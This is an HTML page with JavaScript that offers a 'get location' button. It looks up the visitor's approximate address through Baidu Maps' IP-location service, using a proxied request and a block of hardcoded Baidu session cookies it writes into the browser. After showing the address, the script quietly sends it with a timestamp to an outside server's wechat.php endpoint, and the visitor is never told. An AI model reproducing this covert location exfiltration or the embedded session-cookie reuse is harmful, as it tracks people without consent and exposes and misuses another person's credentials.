<!doctype html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
<button onclick="sendMsg()">获取位置</button>
<div id="msg"></div>
<script src="js/axios.min.js"></script>
<script>
  var msg = document.getElementById('msg');
  // 需要先写入cookie
  var cookie = "BIDUPSID=A7BD49AE70F3DFDE9475ED15321F6E8C; PSTM=1574668693; BAIDUID=A7BD49AE70F3DFDE09A3F53C41FEFC39:SL=0:NR=10:FG=1; BDORZ=B490B5EBF6F3CD402E515D22BCDA1598; H_PS_PSSID=1446_21097_30210_28701; delPer=0; PSINO=5; ZD_ENTRY=baidu; BCLID=11317813901032055078; MCITY=-315%3A; validate=41381; __xsptplus861=861.1.1576133742.1576133742.1%234%7C%7C%7C%7C%7C%23%23ahRboDskDLJL5kxucaz0nJcuUIbZmaEB%23; _ga=GA1.2.732108667.1576133742; _gid=GA1.2.873404592.1576133742; BDSFRCVID=ye8sJeCCxG3e05RwPSdMBRjve2MaiwtCIOkE3J; H_BDCLCKID_SF=tJ-JVCIKJC_3f-op-PRqKCCD-q502JJLHD7yWCvcLlOcOR5Jj65TWhITBn5fQPjl5NTZ3R7dQt50o4J23MA--t4DKp-J-nTI56QlXfovbCj0sq0x0M7We-bQyPQabP3fMDOMahv1tq7xOb63QlPK5JkgMx6MqpQJQeQ-5KQN3KJmfbL9bT3YjjTXjGLOJT8qtn33B6rJabbqDJjvq4b_eP-pX-nZKxtqtDjMWCbCJ-3mDUPx3f6HhUk8-H3GQ4TnWncKWb6P0x8hEtb4jqna5RLf5-b405OT56-O0KJcbRoOMhrjhPJvyU7XXnO72lRlXbrtXp7_2J0WStbKy4oTjxL1Db3JKjvMtgDtVDDQKbRofJ-k-4QEbbQH-UnLqbox067Z0lOnMp05etTaKRJm0PtWLxOjJTcMLN52onv22lckVKO_e6Dbe55XjH-s5-70KK0X3RRVM45_KROvhjRBbjkyyxom3bvxtKIj_xo5LUOf8qo-MRjqDxu_MqJJ3Mc922IeaDcJ-J8XhIDlD57P"
  cookie = cookie.split(';')
  cookie.forEach(v=>{document.cookie = v})
  function sendMsg(){
    /**
     * 需要使用nginx做代理
     * location /map-baidu {
            proxy_pass   https://map.baidu.com/;
	    proxy_set_header referer https://map.baidu.com;
        }
     */
    axios.get('/map-baidu/?qt=ipLocation&t='+Date.now(),{},{withCredentials: true}).then(res=>{
      var result = res.data.rgc.result
      var location = result.formatted_address+','+result.sematic_description
      msg.innerText = location
      axios.get('http://cj15952119716.gz01.bdysite.com/wechat.php?methods=post&name=location&date='+(new Date().toLocaleString())+'&content='+location)
    }).catch(err=>{
      msg.innerText=err
    })
  }
</script>
</body>
</html>
